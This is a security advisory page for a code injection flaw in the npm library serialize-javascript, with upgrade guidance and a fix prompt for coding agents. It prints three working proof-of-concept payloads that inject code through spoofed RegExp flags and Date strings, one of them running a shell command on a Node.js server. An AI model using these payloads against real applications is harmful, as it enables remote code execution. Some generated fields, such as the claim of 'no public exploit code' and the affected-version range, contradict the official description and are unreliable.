# GHSA-5c6j-r48x-rmvq: Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

> Attackers can execute arbitrary code by injecting malicious JavaScript into serialized RegExp or Date objects, affecting applications using the serialize-javascript library.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 28 Feb 2026

## What is GHSA-5c6j-r48x-rmvq?

GHSA-5c6j-r48x-rmvq is a code injection vulnerability in serialize-javascript, published on 28 Feb 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

### Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.

If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.

```javascript
const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!
#h2. PoC 2: Code Injection via Date.toISOString()
```

```javascript
const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!
#h2. PoC 3: Remote Code Execution
```

```javascript
const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command
```

### Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

## Which versions are affected by GHSA-5c6j-r48x-rmvq?

2 open source packages ship an affected version, including serialize-javascript.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `serialize-javascript` | npm | All versions | 7.0.3 |
| `serialize-javascript` | npm | All versions | 7.0.3 |

## How do I fix GHSA-5c6j-r48x-rmvq?

Upgrade serialize-javascript to 7.0.3 or later.

## Is GHSA-5c6j-r48x-rmvq being exploited?

There is no known exploitation of GHSA-5c6j-r48x-rmvq in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-5c6j-r48x-rmvq and fix it if it is affected.

What it is: GHSA-5c6j-r48x-rmvq is a code injection vulnerability in serialize-javascript, published on 28 Feb 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-5c6j-r48x-rmvq in the wild and no public exploit code.

Affected packages and fixed versions:
- serialize-javascript (npm): affected all versions; fixed in 7.0.3
- serialize-javascript (npm): affected all versions; fixed in 7.0.3

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-5c6j-r48x-rmvq/ (Markdown: https://insights.sbomify.com/GHSA-5c6j-r48x-rmvq/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-5c6j-r48x-rmvq

---
From sbomify Insights: https://insights.sbomify.com/GHSA-5c6j-r48x-rmvq/
Summaries are generated and may contain mistakes; the official description above is the record.
